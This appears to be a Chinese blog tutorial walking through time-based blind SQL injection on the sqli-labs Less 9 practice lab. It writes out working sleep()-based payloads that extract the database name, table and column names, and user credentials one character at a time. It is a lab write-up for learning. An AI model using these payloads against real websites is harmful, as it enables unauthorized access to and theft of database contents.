Time-based基于时间的盲注

时间盲注和布尔盲注很像,区别就是“参照物”的不同,布尔盲注是通过页面的一些变化来进行判断结果,但是有时候,执行一些sql语句的测试,页面不会有像布尔盲注那样直观的变化,这个时候可以在布尔盲注的基础上结合if判断和sleep()函数来得到一个时间上的延迟参照,也就可以让我们进行一些判断,也就是所谓的“时间盲注”,又叫“延时注入”。


这里以sqli-labs靶场的less 9为例:

尝试用hackbar输入/?id=1和/?id=1'和/?id=1",但结果都是

说明这关对所有信息都做了统一输出,换成延时注入


/?id=1' and sleep(10)--+

等待了好几秒,说明sleep()函数被执行了


判断数据库长度:

?id=1' and if(length(database())=x,sleep(15),1)--+

不断变化x的值和时间延迟来确定数据库名长度,得出x=8,即数据库名长度为8


猜测数据库名:

?id=1' and if(ascii(substr(database(),x,1))=y,sleep(15),1)--+

?id=1' and if(substr(database(),x,1)='a',sleep(15),1)--+

这里用burp的重放器试试,先测第一位:

?id=1' and if(substr(database(),1,1)='a',sleep(15),1)--+

后面测试出来第一位是s,第二位是e,第三位是u,猜测是security,当然后续也证明了数据库名是security


猜测数据库security的表名:

先测第一个表的第一个字符,猜测是'e':

?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(15),1)--+


第一个表的第二个字符,猜测是'm':

?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m',sleep(15),1)--+


还是一样在burp的重放器中进行,后续得到第一个表是emails


第二个表的第一个字符,猜测是'r':

?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r',sleep(15),1)--+


以此类推,得到所有表名:

emails、referers、uagents和users

(一般重要信息都是在users表中,所以一般都将第一个字符猜测成'u')


猜测security数据库中的users表中的列名:

还是老样子,猜测users表中的第一个列的第一个字符:

?id=1' and if (substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(15),1)--+

以此类推,得出列名:

id、username、password


猜测username和password的值:

老样子,猜测username的第一行的第一个字符

?id=1' and if(substr((select username from users limit 0,1), 1,1)='D',sleep(15),1)--+

做到这里做不动了,花了很长时间去跑sqlmap跑出来结果了

  • 9
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值